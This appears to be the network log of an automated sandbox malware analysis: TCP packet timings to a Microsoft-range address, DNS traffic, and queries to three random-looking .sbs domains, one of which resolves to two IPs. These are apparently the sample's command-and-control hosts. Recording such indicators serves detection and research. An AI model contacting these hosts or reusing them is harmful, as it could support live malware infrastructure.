Nov 25, 2024 18:30:08.263021946 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.263571024 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.263585091 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.264091969 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.264096975 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.487893105 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.491067886 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.491085052 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.491537094 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.491545916 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.629825115 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.630336046 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.630357027 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.630950928 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.630955935 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.710669041 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.713680983 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.713733912 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.713747025 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.713818073 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.726279020 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.726313114 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.726373911 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.726382017 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.758244991 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.758285046 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.758353949 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.758733034 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:08.758744001 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.934359074 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.937104940 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:08.937163115 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.027153969 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.027162075 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.027173042 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.027178049 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.068605900 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.072031975 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.072124004 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.084955931 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.137008905 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.410289049 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.410306931 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.414900064 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.414907932 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.427392960 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.427412033 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.427421093 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.427427053 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.443883896 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.443907022 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.444006920 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.445173025 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.445218086 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.445275068 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.445432901 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.445450068 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.445605993 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.445626974 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.730977058 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.734086990 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.734153986 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.734311104 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.734327078 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.740886927 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.740919113 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.740979910 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.741552114 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.741566896 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.920028925 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.920578957 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.920598030 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:09.921210051 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:09.921216011 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.373294115 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.376564026 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.376617908 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.376687050 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.376732111 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.376826048 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.376842022 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.376852036 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.376858950 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.377901077 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.378706932 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.378731012 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.379148006 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.379152060 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.380016088 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.380057096 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.380146027 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.380332947 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.380346060 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.834712982 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.838145018 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.838270903 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.838442087 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.838460922 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.838471889 CET	50067	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.838476896 CET	443	50067	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.843949080 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.843993902 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:10.844085932 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.844206095 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:10.844218969 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.169636965 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.170814991 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.170835018 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.171278954 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.171284914 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.262855053 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.263278008 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.263298035 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.263741970 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.263747931 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.533651114 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.534204960 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.534219980 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.534673929 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.534677982 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.607588053 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.607649088 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.607716084 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.607937098 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.607948065 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.607997894 CET	50068	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.608004093 CET	443	50068	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.610622883 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.610654116 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.610732079 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.610888004 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.610901117 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.741767883 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.741796017 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.741852045 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.741863966 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.742046118 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.742060900 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.742089033 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.742253065 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.742290974 CET	443	50069	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.742336988 CET	50069	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.745121002 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.745153904 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.745234966 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.745418072 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.745429993 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.990410089 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.990489960 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.990547895 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.990801096 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.990816116 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.990827084 CET	50070	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.990832090 CET	443	50070	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.993897915 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.993946075 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:11.994018078 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.994167089 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:11.994184017 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.184493065 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.185096979 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.185112000 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.185635090 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.185642004 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650206089 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650228024 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650340080 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.650346994 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650685072 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.650685072 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.650693893 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650832891 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650865078 CET	443	50071	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.650897026 CET	50071	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.653439999 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.653477907 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.654275894 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.654383898 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.654397011 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.675208092 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.682646990 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.682671070 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:12.683171034 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:12.683176994 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.129115105 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.129173994 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.129235029 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.129262924 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.130278111 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.130291939 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.130304098 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.130671978 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.130779028 CET	443	50072	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.130886078 CET	50072	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.133250952 CET	50078	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.133292913 CET	443	50078	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.133392096 CET	50078	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.133567095 CET	50078	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.133583069 CET	443	50078	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.426099062 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.426676989 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.426698923 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.427295923 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.427303076 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.510831118 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.511462927 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.511485100 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.512161970 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.512170076 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.875556946 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.875580072 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.875648022 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.875668049 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.875902891 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.875916004 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.875925064 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.876069069 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.876113892 CET	443	50073	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.876176119 CET	50073	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.879039049 CET	50079	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.879090071 CET	443	50079	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.879168034 CET	50079	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.879369974 CET	50079	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.879383087 CET	443	50079	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.947945118 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.947968960 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.948021889 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.948046923 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.948323965 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.948345900 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.948357105 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.948493958 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.948527098 CET	443	50074	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.950314045 CET	50074	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.951095104 CET	50080	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.951121092 CET	443	50080	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.951500893 CET	50080	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.951679945 CET	50080	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.951703072 CET	443	50080	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.960068941 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.960504055 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.960519075 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:13.961103916 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:13.961108923 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.414056063 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.414140940 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.414211035 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.414460897 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.414482117 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.414491892 CET	50075	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.414499998 CET	443	50075	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.419424057 CET	50081	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.419456959 CET	443	50081	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.419574976 CET	50081	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.419720888 CET	50081	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.419734001 CET	443	50081	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.452191114 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.452866077 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.452898979 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.453607082 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.453614950 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.864480019 CET	443	50078	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.865036011 CET	50078	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.865061045 CET	443	50078	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.865588903 CET	50078	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.865592957 CET	443	50078	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.902321100 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.902396917 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.902488947 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.902683020 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.902694941 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.902707100 CET	50077	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.902714014 CET	443	50077	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.905587912 CET	50082	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.905617952 CET	443	50082	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:14.905697107 CET	50082	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.906075001 CET	50082	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:14.906094074 CET	443	50082	13.107.246.63	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 18:28:07.053427935 CET	60594	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:07.421865940 CET	53	60594	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:07.426908970 CET	59012	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:07.667977095 CET	53	59012	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:07.671413898 CET	63380	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:08.261586905 CET	53	63380	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:42.816267967 CET	53	64011	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:43.014406919 CET	53	62127	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:45.852307081 CET	53	65254	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:47.261425972 CET	56360	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:47.261873007 CET	58334	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:47.402501106 CET	53	56360	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:47.403354883 CET	53	58334	1.1.1.1	192.168.2.6
Nov 25, 2024 18:28:51.227122068 CET	64182	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:51.227346897 CET	54588	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:54.852720022 CET	58667	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:54.852720022 CET	59513	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:28:59.519943953 CET	53	63905	1.1.1.1	192.168.2.6
Nov 25, 2024 18:29:01.349653006 CET	64950	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:29:01.349890947 CET	63760	53	192.168.2.6	1.1.1.1
Nov 25, 2024 18:29:03.231379032 CET	53	54092	1.1.1.1	192.168.2.6
Nov 25, 2024 18:29:22.027429104 CET	53	52322	1.1.1.1	192.168.2.6
Nov 25, 2024 18:29:42.724390984 CET	53	63533	1.1.1.1	192.168.2.6
Nov 25, 2024 18:29:44.854754925 CET	53	61069	1.1.1.1	192.168.2.6
Nov 25, 2024 18:30:13.443761110 CET	53	55985	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 25, 2024 18:29:06.851479053 CET	192.168.2.6	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 18:28:07.053427935 CET	192.168.2.6	1.1.1.1	0x568b	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:07.426908970 CET	192.168.2.6	1.1.1.1	0xa94	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:07.671413898 CET	192.168.2.6	1.1.1.1	0x2564	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:47.261425972 CET	192.168.2.6	1.1.1.1	0x1cd9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:47.261873007 CET	192.168.2.6	1.1.1.1	0x37af	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:51.227122068 CET	192.168.2.6	1.1.1.1	0x3a81	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:51.227346897 CET	192.168.2.6	1.1.1.1	0xff3a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:54.852720022 CET	192.168.2.6	1.1.1.1	0xfc72	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:54.852720022 CET	192.168.2.6	1.1.1.1	0x620b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:29:01.349653006 CET	192.168.2.6	1.1.1.1	0xa1c1	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:29:01.349890947 CET	192.168.2.6	1.1.1.1	0xdc45	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 18:28:07.421865940 CET	1.1.1.1	192.168.2.6	0x568b	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:07.667977095 CET	1.1.1.1	192.168.2.6	0xa94	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:08.261586905 CET	1.1.1.1	192.168.2.6	0x2564	No error (0)	occupy-blushi.sbs		104.21.7.169	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:08.261586905 CET	1.1.1.1	192.168.2.6	0x2564	No error (0)	occupy-blushi.sbs		172.67.187.240	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:47.402501106 CET	1.1.1.1	192.168.2.6	0x1cd9	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:47.403354883 CET	1.1.1.1	192.168.2.6	0x37af	No error (0)	www.google.com			65	IN (0x0001)	false
